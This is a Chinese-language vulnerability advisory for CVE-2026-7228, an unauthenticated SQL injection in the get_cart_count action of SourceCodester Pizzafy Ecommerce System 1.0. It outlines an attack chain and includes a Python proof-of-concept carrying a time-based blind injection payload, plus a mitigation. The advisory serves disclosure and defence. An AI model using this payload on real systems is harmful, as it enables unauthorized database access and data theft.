IPBUF安全漏洞报告
English
CVE-2026-7228 CVSS 7.3 高危

CVE-2026-7228 SourceCodester Pizzafy SQL注入漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7228
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pizzafy Ecommerce System

相关标签

SQL注入SourceCodesterPizzafy Ecommerce SystemWeb安全无需认证

漏洞概述

SourceCodester Pizzafy Ecommerce System 1.0版本存在严重的SQL注入漏洞。该漏洞位于/admin/ajax.php文件的get_cart_count函数中,由于对用户输入的ID参数缺乏有效的过滤和验证,导致攻击者可以构造恶意SQL语句。攻击者无需用户认证即可远程发起攻击,进而窃取数据库敏感信息、篡改数据或破坏系统可用性。

技术细节

该漏洞的根源在于SourceCodester Pizzafy Ecommerce System在处理购物车计数请求时存在输入验证缺失。具体而言,在/admin/ajax.php文件中,当action参数为get_cart_count时,系统直接从请求中获取ID参数,并将其拼接到SQL查询语句中。由于未使用参数化查询或过滤机制,攻击者可以通过注入恶意的SQL语法(如单引号、注释符、UNION SELECT等)来篡改原始查询逻辑。攻击向量为网络(AV:N),且无需任何权限(PR:N),意味着攻击者只需向目标服务器发送特制的HTTP请求即可触发漏洞。利用成功的后果包括读取数据库中的敏感信息(如用户密码、订单信息)、修改数据以及潜在的进一步服务器控制。

攻击链分析

STEP 1
1. 信息收集
攻击者通过端口扫描或指纹识别,确认目标服务器运行的是SourceCodester Pizzafy Ecommerce System 1.0。
STEP 2
2. 漏洞探测
攻击者向/admin/ajax.php?action=get_cart_count发送带有单引号等特殊字符的ID参数,观察是否有数据库报错或响应异常。
STEP 3
3. 构造攻击载荷
根据探测结果,攻击者构造恶意的SQL注入语句(如UNION查询或布尔盲注),用于提取数据库表名、字段名或敏感数据。
STEP 4
4. 执行攻击
攻击者将构造好的HTTP请求发送至服务器,由于无需认证,后端数据库直接执行恶意SQL代码。
STEP 5
5. 数据窃取与利用
攻击者获取数据库中的管理员账号密码、用户信息等,并可能利用获取的信息进一步控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration # Replace 'TARGET_HOST' with the actual vulnerable host target_url = "http://TARGET_HOST/admin/ajax.php" # The vulnerable parameter is 'ID' within the 'get_cart_count' action # Payload for Time-Based Blind SQL Injection # Checks if the first character of the database version is '5' (sleep for 5 seconds if true) payload = { "action": "get_cart_count", "ID": "1' AND IF(SUBSTRING(VERSION(), 1, 1)='5', SLEEP(5), 0)-- -" } try: print(f"[*] Sending payload to {target_url}...") response = requests.get(target_url, params=payload, timeout=10) # Analyze response time to determine if the payload executed successfully # If response time > 5 seconds, the condition was likely true (Vulnerable) if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability detected! (Response delayed)") else: print("[-] Payload executed, but no delay detected. Condition might be false or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}")

影响范围

SourceCodester Pizzafy Ecommerce System 1.0

防御指南

临时缓解措施
建议立即在/admin/ajax.php文件的get_cart_count函数中对ID参数进行整数类型强制转换(例如使用(int)$_GET['ID']),或者移除该公开接口的访问权限,直到官方发布修复补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表